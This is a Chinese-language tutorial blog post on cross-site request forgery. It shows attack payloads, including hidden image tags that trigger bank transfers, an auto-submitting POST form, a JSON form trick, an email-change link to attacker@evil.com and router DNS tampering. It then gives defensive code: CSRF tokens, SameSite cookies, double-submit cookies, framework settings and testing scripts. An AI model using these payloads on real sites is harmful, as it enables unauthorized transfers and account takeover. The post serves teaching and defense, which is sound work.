CSRF 跨站請求偽造攻擊與防禦

Cross-Site Request Forgery Attack and Defense Techniques

前言

CSRF(Cross-Site Request Forgery,跨站請求偽造)是一種常見的 Web 應用程式安全漏洞,攻擊者透過誘騙已登入的使用者在不知情的情況下執行非預期的操作。這種攻擊利用了瀏覽器會自動附帶 Cookie 的特性,使得惡意請求能夠以受害者的身份被執行。CSRF 曾被列入 OWASP Top 10 安全風險清單,至今仍是 Web 應用程式必須防範的重要威脅。


1. CSRF 攻擊原理

1.1 攻擊流程

CSRF 攻擊的基本流程如下:

1
2
3
4
5
1. 使用者登入目標網站 (example.com),瀏覽器儲存 Session Cookie
2. 使用者在未登出的情況下,訪問惡意網站
3. 惡意網站包含一個向 example.com 發送請求的程式碼
4. 瀏覽器自動附帶 example.com 的 Cookie 發送請求
5. 目標網站認為這是合法使用者的請求並執行操作

1.2 攻擊條件

CSRF 攻擊成功需要滿足以下條件:

  1. 使用者已登入目標網站:受害者必須在目標網站有有效的 Session
  2. 目標網站使用 Cookie 進行身份驗證:瀏覽器會自動發送 Cookie
  3. 可預測的請求參數:攻擊者能夠構造完整的請求
  4. 缺乏額外的驗證機制:沒有 CSRF Token 或其他防護

1.3 與 XSS 的區別

特性CSRFXSS
攻擊目標利用使用者身份執行操作竊取資料或執行惡意腳本
程式碼執行位置受害者的瀏覽器向目標網站發送請求在目標網站的頁面中執行
需要使用者互動需要使用者訪問惡意頁面可能不需要(Stored XSS)
攻擊者能力只能執行預設操作可執行任意 JavaScript

2. 攻擊向量與實際案例

2.1 電子郵件轉帳攻擊

假設銀行網站使用以下 URL 進行轉帳:

1
https://bank.example.com/transfer?to=recipient&amount=1000

攻擊者可以發送釣魚郵件,內含隱藏的圖片標籤:

1
2
3
<!-- 惡意郵件內容 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000"
     width="0" height="0" style="display:none;">

2.2 社群平台帳號接管

攻擊者在論壇發布看似正常的連結:

1
2
3
4
<!-- 變更使用者電子郵件的 CSRF 攻擊 -->
<a href="https://social.example.com/settings/email?new=attacker@evil.com">
    點擊查看優惠資訊
</a>

2.3 路由器設定竄改

許多家用路由器管理介面存在 CSRF 漏洞:

1
2
<!-- 變更路由器 DNS 設定 -->
<img src="http://192.168.1.1/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=1.2.3.4">

2.4 真實案例:Netflix CSRF 漏洞(2006)

2006 年,Netflix 被發現存在 CSRF 漏洞,攻擊者可以:

  • 將 DVD 加入受害者的租借佇列
  • 變更受害者的收件地址
  • 變更帳號密碼(結合其他漏洞)

3. GET 與 POST 型 CSRF

3.1 GET 型 CSRF

GET 型 CSRF 是最簡單的攻擊形式,利用 GET 請求執行敏感操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!-- 方法 1:使用圖片標籤 -->
<img src="https://victim.com/delete?id=123">

<!-- 方法 2:使用 iframe -->
<iframe src="https://victim.com/delete?id=123" style="display:none;"></iframe>

<!-- 方法 3:使用 CSS -->
<style>
body {
    background: url('https://victim.com/delete?id=123');
}
</style>

自動執行的 GET CSRF:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE html>
<html>
<head>
    <title>免費禮物</title>
</head>
<body>
    <h1>恭喜您獲得免費禮物!</h1>
    <img src="https://bank.example.com/transfer?to=attacker&amount=5000"
         width="1" height="1">
    <p>請稍候,正在載入您的禮物...</p>
</body>
</html>

3.2 POST 型 CSRF

POST 型 CSRF 需要使用表單提交,通常配合 JavaScript 自動提交:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <form id="csrf-form" action="https://victim.com/transfer" method="POST">
        <input type="hidden" name="recipient" value="attacker">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="description" value="Payment">
    </form>

    <script>
        // 頁面載入時自動提交表單
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

進階 POST CSRF - 使用 XMLHttpRequest:

1
2
3
4
5
6
7
8
<script>
    // 注意:這只在同源或 CORS 允許的情況下有效
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://victim.com/api/transfer', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.withCredentials = true;
    xhr.send('recipient=attacker&amount=10000');
</script>

3.3 JSON 型 CSRF

某些 API 只接受 JSON 格式的請求,攻擊者可以嘗試以下方法:

1
2
3
4
5
6
7
8
9
<form id="csrf-form" action="https://api.victim.com/transfer" method="POST"
      enctype="text/plain">
    <input type="hidden" name='{"recipient":"attacker","amount":10000,"ignore":"'
           value='"}'>
</form>

<script>
    document.getElementById('csrf-form').submit();
</script>

這會發送以下請求體:

1
{"recipient":"attacker","amount":10000,"ignore":"="}

4. CSRF Token 防禦機制

4.1 CSRF Token 原理

CSRF Token 是一個隨機生成的字串,由伺服器產生並嵌入表單中。伺服器會驗證請求中的 Token 是否與 Session 中儲存的 Token 相符。

工作流程:

1
2
3
4
5
6
1. 使用者請求包含表單的頁面
2. 伺服器生成隨機 CSRF Token,儲存在 Session 中
3. 伺服器將 Token 嵌入表單的隱藏欄位
4. 使用者提交表單時,Token 隨請求發送
5. 伺服器驗證 Token 是否正確
6. 若 Token 無效,拒絕請求

4.2 伺服器端實作

Python Flask 範例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import secrets
from flask import Flask, session, request, render_template, abort

app = Flask(__name__)
app.secret_key = 'your-secret-key'

def generate_csrf_token():
    """生成 CSRF Token"""
    if '_csrf_token' not in session:
        session['_csrf_token'] = secrets.token_hex(32)
    return session['_csrf_token']

def validate_csrf_token():
    """驗證 CSRF Token"""
    token = session.get('_csrf_token')
    request_token = request.form.get('_csrf_token') or \
                    request.headers.get('X-CSRF-Token')

    if not token or not request_token:
        return False

    return secrets.compare_digest(token, request_token)

@app.before_request
def csrf_protect():
    """保護 POST、PUT、DELETE 請求"""
    if request.method in ['POST', 'PUT', 'DELETE']:
        if not validate_csrf_token():
            abort(403)

# 將 csrf_token 函數傳遞給模板
app.jinja_env.globals['csrf_token'] = generate_csrf_token

@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
    if request.method == 'POST':
        recipient = request.form.get('recipient')
        amount = request.form.get('amount')
        # 執行轉帳邏輯
        return f'已轉帳 {amount} 元給 {recipient}'

    return render_template('transfer.html')

對應的 HTML 模板:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<!-- templates/transfer.html -->
<!DOCTYPE html>
<html>
<head>
    <title>轉帳</title>
</head>
<body>
    <form method="POST" action="/transfer">
        <input type="hidden" name="_csrf_token" value="{{ csrf_token() }}">

        <label for="recipient">收款人:</label>
        <input type="text" id="recipient" name="recipient" required>

        <label for="amount">金額:</label>
        <input type="number" id="amount" name="amount" required>

        <button type="submit">確認轉帳</button>
    </form>
</body>
</html>

4.3 Node.js Express 實作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const express = require('express');
const session = require('express-session');
const crypto = require('crypto');

const app = express();

app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(session({
    secret: 'your-secret-key',
    resave: false,
    saveUninitialized: true,
    cookie: { secure: true, httpOnly: true }
}));

// 生成 CSRF Token
function generateCSRFToken(req) {
    if (!req.session.csrfToken) {
        req.session.csrfToken = crypto.randomBytes(32).toString('hex');
    }
    return req.session.csrfToken;
}

// CSRF 驗證中介軟體
function csrfProtection(req, res, next) {
    if (['POST', 'PUT', 'DELETE'].includes(req.method)) {
        const token = req.body._csrf || req.headers['x-csrf-token'];

        if (!token || !req.session.csrfToken) {
            return res.status(403).json({ error: 'CSRF token missing' });
        }

        // 使用時間常數比較防止時序攻擊
        const tokenBuffer = Buffer.from(token);
        const sessionTokenBuffer = Buffer.from(req.session.csrfToken);

        if (tokenBuffer.length !== sessionTokenBuffer.length ||
            !crypto.timingSafeEqual(tokenBuffer, sessionTokenBuffer)) {
            return res.status(403).json({ error: 'Invalid CSRF token' });
        }
    }
    next();
}

app.use(csrfProtection);

// 提供 Token 給前端
app.get('/api/csrf-token', (req, res) => {
    res.json({ csrfToken: generateCSRFToken(req) });
});

app.post('/api/transfer', (req, res) => {
    const { recipient, amount } = req.body;
    // 執行轉帳邏輯
    res.json({ success: true, message: `已轉帳 ${amount} 元給 ${recipient}` });
});

app.listen(3000, () => {
    console.log('Server running on port 3000');
});

4.4 AJAX 請求的 CSRF Token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 前端 JavaScript:從 meta 標籤或 API 取得 Token
async function getCSRFToken() {
    // 方法 1:從 meta 標籤取得
    const metaToken = document.querySelector('meta[name="csrf-token"]');
    if (metaToken) {
        return metaToken.getAttribute('content');
    }

    // 方法 2:從 API 取得
    const response = await fetch('/api/csrf-token');
    const data = await response.json();
    return data.csrfToken;
}

// 發送 AJAX 請求時附帶 CSRF Token
async function transfer(recipient, amount) {
    const csrfToken = await getCSRFToken();

    const response = await fetch('/api/transfer', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-CSRF-Token': csrfToken
        },
        credentials: 'include', // 包含 Cookie
        body: JSON.stringify({ recipient, amount })
    });

    return response.json();
}

5.1 SameSite 屬性說明

SameSite 是 Cookie 的一個屬性,用於控制 Cookie 在跨站請求時的行為:

說明CSRF 防護效果
StrictCookie 只在同站請求時發送最強
LaxCookie 在頂層導航的 GET 請求中發送中等
NoneCookie 在所有請求中發送(需配合 Secure)

伺服器端設定:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Python Flask
from flask import Flask, make_response

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
    response = make_response('Login successful')

    # 設定 SameSite=Strict 的 Cookie
    response.set_cookie(
        'session_id',
        value='abc123',
        httponly=True,
        secure=True,
        samesite='Strict',
        max_age=3600
    )

    return response
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Node.js Express
app.post('/login', (req, res) => {
    res.cookie('session_id', 'abc123', {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 3600000
    });

    res.send('Login successful');
});

Nginx 設定:

1
2
3
4
5
6
7
# nginx.conf
location / {
    proxy_pass http://backend;

    # 為所有 Set-Cookie 標頭添加 SameSite 屬性
    proxy_cookie_flags ~ httponly secure samesite=strict;
}

5.3 SameSite=Lax 的限制

SameSite=Lax 允許以下情況發送 Cookie:

1
2
3
4
5
6
7
8
9
<!-- 這些會發送 Cookie(頂層導航 GET 請求)-->
<a href="https://example.com/page">連結</a>
<form method="GET" action="https://example.com/page">...</form>

<!-- 這些不會發送 Cookie -->
<img src="https://example.com/image">
<iframe src="https://example.com/frame"></iframe>
<form method="POST" action="https://example.com/action">...</form>
<script src="https://example.com/script.js"></script>

5.4 瀏覽器預設行為

現代瀏覽器對於沒有明確設定 SameSite 的 Cookie,預設採用 Lax

1
2
3
Chrome 80+: 預設 SameSite=Lax
Firefox 69+: 預設 SameSite=Lax
Safari: 完全阻止第三方 Cookie

6.1 原理說明

Double Submit Cookie 是一種不需要伺服器端狀態的 CSRF 防護方式。它利用了攻擊者無法讀取其他網域 Cookie 的事實。

工作原理:

1
2
3
4
1. 伺服器設定一個隨機的 CSRF Cookie
2. 前端讀取該 Cookie 的值,並在請求中作為參數或標頭發送
3. 伺服器比對 Cookie 值與請求參數是否一致
4. 攻擊者可以讓瀏覽器發送 Cookie,但無法讀取 Cookie 值來構造匹配的參數

6.2 實作範例

伺服器端(Node.js):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const express = require('express');
const crypto = require('crypto');
const cookieParser = require('cookie-parser');

const app = express();
app.use(express.json());
app.use(cookieParser());

// 設定 CSRF Cookie
app.get('/api/init', (req, res) => {
    const csrfToken = crypto.randomBytes(32).toString('hex');

    res.cookie('csrf_token', csrfToken, {
        httpOnly: false,  // 前端需要讀取
        secure: true,
        sameSite: 'strict'
    });

    res.json({ message: 'CSRF token set' });
});

// 驗證 Double Submit Cookie
function doubleSubmitCheck(req, res, next) {
    if (['POST', 'PUT', 'DELETE'].includes(req.method)) {
        const cookieToken = req.cookies.csrf_token;
        const headerToken = req.headers['x-csrf-token'];

        if (!cookieToken || !headerToken) {
            return res.status(403).json({ error: 'CSRF token missing' });
        }

        if (cookieToken !== headerToken) {
            return res.status(403).json({ error: 'CSRF token mismatch' });
        }
    }
    next();
}

app.use(doubleSubmitCheck);

app.post('/api/transfer', (req, res) => {
    res.json({ success: true });
});

前端 JavaScript:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 讀取 Cookie 的輔助函數
function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) {
        return parts.pop().split(';').shift();
    }
    return null;
}

// 發送請求時附帶 CSRF Token
async function transfer(data) {
    const csrfToken = getCookie('csrf_token');

    const response = await fetch('/api/transfer', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(data)
    });

    return response.json();
}

為了防止子網域攻擊,可以對 Cookie 值進行簽名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const crypto = require('crypto');

const SECRET_KEY = process.env.CSRF_SECRET_KEY;

function generateSignedToken() {
    const token = crypto.randomBytes(32).toString('hex');
    const signature = crypto
        .createHmac('sha256', SECRET_KEY)
        .update(token)
        .digest('hex');

    return `${token}.${signature}`;
}

function verifySignedToken(signedToken) {
    const [token, signature] = signedToken.split('.');

    if (!token || !signature) {
        return false;
    }

    const expectedSignature = crypto
        .createHmac('sha256', SECRET_KEY)
        .update(token)
        .digest('hex');

    return crypto.timingSafeEqual(
        Buffer.from(signature),
        Buffer.from(expectedSignature)
    );
}

7. 框架內建防護

7.1 Django CSRF 防護

Django 預設啟用 CSRF 防護:

settings.py 設定:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# settings.py
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
    # ... 其他中介軟體
]

# CSRF Cookie 設定
CSRF_COOKIE_SECURE = True        # 僅 HTTPS
CSRF_COOKIE_HTTPONLY = False     # 允許 JavaScript 讀取
CSRF_COOKIE_SAMESITE = 'Strict'  # SameSite 屬性
CSRF_TRUSTED_ORIGINS = [
    'https://example.com',
    'https://www.example.com',
]

模板中使用:

1
2
3
4
5
6
7
<!-- Django 模板 -->
<form method="POST" action="{% url 'transfer' %}">
    {% csrf_token %}
    <input type="text" name="recipient">
    <input type="number" name="amount">
    <button type="submit">轉帳</button>
</form>

AJAX 請求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// 從 Cookie 取得 CSRF Token
function getCookie(name) {
    let cookieValue = null;
    if (document.cookie && document.cookie !== '') {
        const cookies = document.cookie.split(';');
        for (let i = 0; i < cookies.length; i++) {
            const cookie = cookies[i].trim();
            if (cookie.substring(0, name.length + 1) === (name + '=')) {
                cookieValue = decodeURIComponent(
                    cookie.substring(name.length + 1)
                );
                break;
            }
        }
    }
    return cookieValue;
}

// 設定 Axios 預設標頭
axios.defaults.headers.common['X-CSRFToken'] = getCookie('csrftoken');

排除特定視圖:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from django.views.decorators.csrf import csrf_exempt, csrf_protect

@csrf_exempt  # 排除 CSRF 檢查(謹慎使用)
def webhook(request):
    # 處理外部 Webhook
    pass

@csrf_protect  # 強制 CSRF 檢查
def sensitive_action(request):
    pass

7.2 Spring Security CSRF 防護

Spring Security 預設啟用 CSRF 防護:

Java 設定:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;

@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf
                // 使用 Cookie 儲存 CSRF Token
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
                // 排除特定路徑
                .ignoringRequestMatchers("/api/public/**", "/webhook/**")
            )
            .authorizeHttpRequests(auth -> auth
                .anyRequest().authenticated()
            );

        return http.build();
    }
}

Thymeleaf 模板:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!-- Thymeleaf 模板會自動包含 CSRF Token -->
<form th:action="@{/transfer}" method="post">
    <input type="text" name="recipient" placeholder="收款人">
    <input type="number" name="amount" placeholder="金額">
    <button type="submit">轉帳</button>
</form>

<!-- 或手動添加 -->
<form action="/transfer" method="post">
    <input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}">
    <!-- 表單欄位 -->
</form>

AJAX 請求(使用 meta 標籤):

1
2
3
4
5
<!-- HTML head 中添加 meta 標籤 -->
<head>
    <meta name="_csrf" th:content="${_csrf.token}">
    <meta name="_csrf_header" th:content="${_csrf.headerName}">
</head>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// JavaScript 讀取並使用 Token
const token = document.querySelector('meta[name="_csrf"]').content;
const header = document.querySelector('meta[name="_csrf_header"]').content;

fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        [header]: token
    },
    body: JSON.stringify({ recipient: 'user123', amount: 1000 })
});

7.3 Express.js CSRF 防護

使用 csurf 中介軟體(已棄用)或自行實作:

使用 csrf-csrf 套件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');
const { doubleCsrf } = require('csrf-csrf');
const cookieParser = require('cookie-parser');

const app = express();
app.use(express.json());
app.use(cookieParser());

const {
    generateToken,
    doubleCsrfProtection
} = doubleCsrf({
    getSecret: () => process.env.CSRF_SECRET,
    cookieName: 'csrf-token',
    cookieOptions: {
        httpOnly: true,
        sameSite: 'strict',
        secure: true
    },
    size: 64,
    getTokenFromRequest: (req) => req.headers['x-csrf-token']
});

// 取得 Token 的端點
app.get('/api/csrf-token', (req, res) => {
    const token = generateToken(req, res);
    res.json({ csrfToken: token });
});

// 保護敏感端點
app.post('/api/transfer', doubleCsrfProtection, (req, res) => {
    const { recipient, amount } = req.body;
    res.json({ success: true, message: `已轉帳 ${amount} 元給 ${recipient}` });
});

EJS 模板整合:

1
2
3
4
5
6
7
// 設定模板引擎
app.set('view engine', 'ejs');

app.get('/transfer', (req, res) => {
    const csrfToken = generateToken(req, res);
    res.render('transfer', { csrfToken });
});
1
2
3
4
5
6
7
<!-- views/transfer.ejs -->
<form method="POST" action="/api/transfer">
    <input type="hidden" name="_csrf" value="<%= csrfToken %>">
    <input type="text" name="recipient" placeholder="收款人">
    <input type="number" name="amount" placeholder="金額">
    <button type="submit">轉帳</button>
</form>

8. 測試方法與工具

8.1 手動測試步驟

步驟 1:識別敏感操作

1
2
# 找出所有 POST/PUT/DELETE 端點
# 使用 Burp Suite 瀏覽網站並檢查 Proxy 歷史記錄

步驟 2:分析請求參數

檢查請求中是否有:

  • CSRF Token 參數或標頭
  • 不可預測的隨機值
  • Referer/Origin 驗證

步驟 3:構造 CSRF PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<!-- csrf_poc.html -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>

    <form id="csrf-form" action="https://target.com/api/transfer" method="POST">
        <input type="hidden" name="recipient" value="attacker">
        <input type="hidden" name="amount" value="10000">
    </form>

    <script>
        // 自動提交或等待使用者點擊
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

步驟 4:驗證漏洞

1
2
3
4
5
# 啟動本地伺服器託管 PoC
python3 -m http.server 8080

# 在已登入目標網站的瀏覽器中訪問 PoC
# http://localhost:8080/csrf_poc.html

8.2 Burp Suite 測試

使用 CSRF PoC Generator:

  1. 在 Proxy 歷史記錄中找到目標請求
  2. 右鍵點擊 -> Engagement tools -> Generate CSRF PoC
  3. 選擇選項並生成 HTML
  4. 測試生成的 PoC

Burp Suite 手動測試:

1
2
3
4
1. 攔截敏感請求
2. 移除或修改 CSRF Token
3. 轉發請求,檢查是否被拒絕
4. 如果請求成功執行,則存在 CSRF 漏洞

8.3 OWASP ZAP 測試

1
2
3
4
5
6
7
8
# 安裝 ZAP
sudo apt install zaproxy

# 或使用 Docker
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap.sh -daemon \
    -host 0.0.0.0 -port 8080

# ZAP 會自動掃描 CSRF 漏洞

ZAP 被動掃描規則:

  • 缺少 Anti-CSRF Token
  • Cookie 沒有 SameSite 屬性
  • 敏感操作缺少 CSRF 防護

8.4 自動化測試腳本

Python 測試腳本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3
"""
CSRF 漏洞測試腳本
"""

import requests
from bs4 import BeautifulSoup
import sys

class CSRFTester:
    def __init__(self, target_url, session_cookie):
        self.target_url = target_url
        self.session = requests.Session()
        self.session.cookies.set('session', session_cookie)

    def check_csrf_token(self, form_url):
        """檢查表單是否包含 CSRF Token"""
        response = self.session.get(form_url)
        soup = BeautifulSoup(response.text, 'html.parser')

        # 常見的 CSRF Token 名稱
        token_names = [
            'csrf_token', '_csrf', 'csrfmiddlewaretoken',
            'authenticity_token', '_token', 'csrf-token',
            'XSRF-TOKEN', '__RequestVerificationToken'
        ]

        for name in token_names:
            token_input = soup.find('input', {'name': name})
            if token_input:
                print(f"[+] 發現 CSRF Token: {name}")
                return True

        print("[-] 未發現 CSRF Token!可能存在漏洞")
        return False

    def test_without_token(self, action_url, method='POST', data=None):
        """測試不帶 Token 的請求"""
        if method.upper() == 'POST':
            response = self.session.post(action_url, data=data)
        else:
            response = self.session.get(action_url, params=data)

        if response.status_code == 200:
            print(f"[!] 請求成功!可能存在 CSRF 漏洞")
            return True
        elif response.status_code == 403:
            print(f"[+] 請求被拒絕 (403),CSRF 防護有效")
            return False
        else:
            print(f"[?] 回應狀態碼: {response.status_code}")
            return None

    def test_invalid_token(self, action_url, data=None):
        """測試無效 Token"""
        if data is None:
            data = {}

        # 添加無效的 Token
        data['csrf_token'] = 'invalid_token_12345'
        data['_csrf'] = 'invalid_token_12345'

        response = self.session.post(action_url, data=data)

        if response.status_code == 403:
            print(f"[+] 無效 Token 被拒絕,CSRF 防護有效")
            return False
        else:
            print(f"[!] 無效 Token 未被拒絕!存在漏洞")
            return True

    def check_samesite_cookie(self):
        """檢查 Cookie 的 SameSite 屬性"""
        response = self.session.get(self.target_url)

        for cookie in response.cookies:
            samesite = cookie._rest.get('SameSite', 'Not Set')
            secure = 'Secure' if cookie.secure else 'Not Secure'
            httponly = 'HttpOnly' if cookie._rest.get('httponly') else 'Not HttpOnly'

            print(f"Cookie: {cookie.name}")
            print(f"  SameSite: {samesite}")
            print(f"  {secure}")
            print(f"  {httponly}")

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_url> <session_cookie>")
        sys.exit(1)

    tester = CSRFTester(sys.argv[1], sys.argv[2])
    tester.check_csrf_token(sys.argv[1])
    tester.check_samesite_cookie()

8.5 cURL 測試命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 測試 GET 型 CSRF
curl -X GET "https://target.com/delete?id=123" \
    -H "Cookie: session=victim_session_cookie" \
    -v

# 測試 POST 型 CSRF(不帶 Token)
curl -X POST "https://target.com/api/transfer" \
    -H "Cookie: session=victim_session_cookie" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "recipient=attacker&amount=10000" \
    -v

# 測試帶錯誤 Token
curl -X POST "https://target.com/api/transfer" \
    -H "Cookie: session=victim_session_cookie" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "X-CSRF-Token: invalid_token" \
    -d "recipient=attacker&amount=10000" \
    -v

# 檢查回應標頭中的 Cookie 設定
curl -I "https://target.com/login" 2>&1 | grep -i set-cookie

8.6 測試檢查清單

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
## CSRF 測試檢查清單

### 基本檢查
- [ ] 識別所有敏感操作(轉帳、修改設定、刪除資料等)
- [ ] 檢查請求中是否包含 CSRF Token
- [ ] 驗證 Token 是否綁定到使用者 Session
- [ ] 測試 Token 是否可以重複使用

### Token 驗證
- [ ] 移除 Token 後請求是否被拒絕
- [ ] 使用無效 Token 是否被拒絕
- [ ] 使用其他使用者的 Token 是否被拒絕
- [ ] Token 是否在每次請求後更新

### Cookie 安全
- [ ] 檢查 Session Cookie 的 SameSite 屬性
- [ ] 檢查 Cookie 的 Secure 屬性
- [ ] 檢查 Cookie 的 HttpOnly 屬性

### 其他繞過測試
- [ ] 變更 Content-Type(application/json -> form-urlencoded)
- [ ] 變更請求方法(POST -> GET)
- [ ] 檢查 CORS 設定
- [ ] 測試子網域是否可以繞過

### 框架特定檢查
- [ ] Django: 檢查 @csrf_exempt 裝飾器使用
- [ ] Spring: 檢查 csrf().disable() 設定
- [ ] Express: 檢查是否正確使用 CSRF 中介軟體

最佳實踐總結

防禦策略

  1. 實施 CSRF Token

    • 每個 Session 生成唯一 Token
    • Token 綁定到使用者 Session
    • 驗證所有狀態變更請求
  2. 設定 SameSite Cookie

    • 敏感 Cookie 使用 SameSite=Strict
    • 一般 Cookie 至少使用 SameSite=Lax
  3. 驗證 Origin/Referer

    • 作為額外防護層
    • 不要作為唯一防護手段
  4. 使用框架內建防護

    • Django: CsrfViewMiddleware
    • Spring: Spring Security CSRF
    • Express: csrf-csrf 或類似套件
  5. 安全開發實踐

    • 敏感操作只使用 POST/PUT/DELETE
    • 不要在 URL 中傳遞敏感參數
    • 重要操作要求二次驗證

測試建議

  • 定期進行安全測試
  • 使用自動化工具掃描
  • 進行手動滲透測試
  • 檢查第三方程式庫的 CSRF 防護

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy